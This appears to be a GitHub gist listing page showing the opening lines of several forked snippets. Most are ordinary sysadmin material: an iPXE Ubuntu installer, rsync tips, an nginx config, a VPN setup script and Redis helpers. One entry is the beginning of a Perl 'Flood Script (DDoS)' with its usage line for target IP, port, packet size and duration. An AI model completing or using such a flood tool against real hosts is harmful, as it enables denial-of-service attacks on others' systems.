Skip to content

Instantly share code, notes, and snippets.

@promolic1
promolic1 / ubuntu-install.ipxe
Last active July 17, 2016 03:39 — forked from robinsmidsrod/ubuntu-install.ipxe
iPXE installer script for Ubuntu Server x64
#!ipxe
echo
echo Starting Ubuntu 10.04.4 x64 installer for ${hostname}
# Hook SAN disk
set root-path iscsi:nas.smidsrod.lan::::iqn.2011-02.lan.smidsrod:${hostname}.boot.ubuntu
sanhook ${root-path} ||
# Start debian-installer
set base-url http://boot.smidsrod.lan/ubuntu-10.04.4-amd64-server
@promolic1
promolic1 / (DDoS)
Created July 9, 2016 05:58 — forked from dreadpiratesr/(DDoS)
Perl Flood Script (DDoS)
[Save file as reckz.pl, Put it in Perl/Bin]
#!/usr/bin/perl START SCRIPT
use Socket;
use strict;
if ($#ARGV != 3) {
print "reckz.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
@promolic1
promolic1 / Documentation.md
Created April 17, 2016 03:39 — forked from KartikTalwar/Documentation.md
Rsync over SSH - (40MB/s over 1GB NICs)

The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

  • a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
  • H: preserves hard-links
  • A: preserves ACLs
@promolic1
promolic1 / nginx.conf
Created October 10, 2015 02:47 — forked from toomasr/nginx.conf
nginx configuration for the Wordpress blog post
upstream servers-frontend {
ip_hash;
server 10.10.137.100:80; # server-1
server 10.10.126.101:80; # server-2
}
upstream server-2 {
server 10.10.137.101:80;
}
@promolic1
promolic1 / README.md
Created October 7, 2015 23:43 — forked from EugeneKay/README.md
Winode Instructions
@promolic1
promolic1 / iptcheck.py
Last active August 29, 2015 14:06 — forked from ko-zu/iptcheck.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2014 ko-zu <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
import urlparse
import argparse
import redis
import sys
from multiprocessing import Pool
import signal
def parse_redis_url(s):
url = urlparse.urlparse(s)
if not url.scheme:
<?php
class InlineImages {
/** IE cannot display inline data larger than 32KiB
also processing large images would take too much time */
const SIZE_LIMIT = 32768;
/** Regular expression to find URL definitions in CSS file */
const REGEXP = '/(background(-image)?|list-style(-image)?|cursor):\ ?url\(([\'\"]?([^\'\)]+)[\'\"]?)\)/im';
const REGIND = 5; //index of matching parenthesis where URL can be found
@promolic1
promolic1 / vpnsetup.sh
Created February 24, 2014 04:09 — forked from hwdsl2/.MOVED.md
#!/bin/sh
#
# Amazon EC2 user-data file for automatic configuration of IPsec/L2TP VPN
# on a Ubuntu server instance. Tested with 12.04.
#
# DO NOT RUN THIS SCRIPT ON YOUR PC OR MAC! THIS IS MEANT TO BE RUN WHEN
# YOUR AMAZON EC2 INSTANCE STARTS!
#
# Copyright (C) 2014 Lin Song
# Based on the work of Thomas Sarlandie (Copyright 2012)
# Optimized for writes, sort on read
# LVC
redis.hset("bonds|1", "bid_price", 96.01)
redis.hset("bonds|1", "ask_price", 97.53)
redis.hset("bonds|2", "bid_price", 95.50)
redis.hset("bonds|2", "ask_price", 98.25)
redis.sadd("bond_ids", 1)
redis.sadd("bond_ids", 2)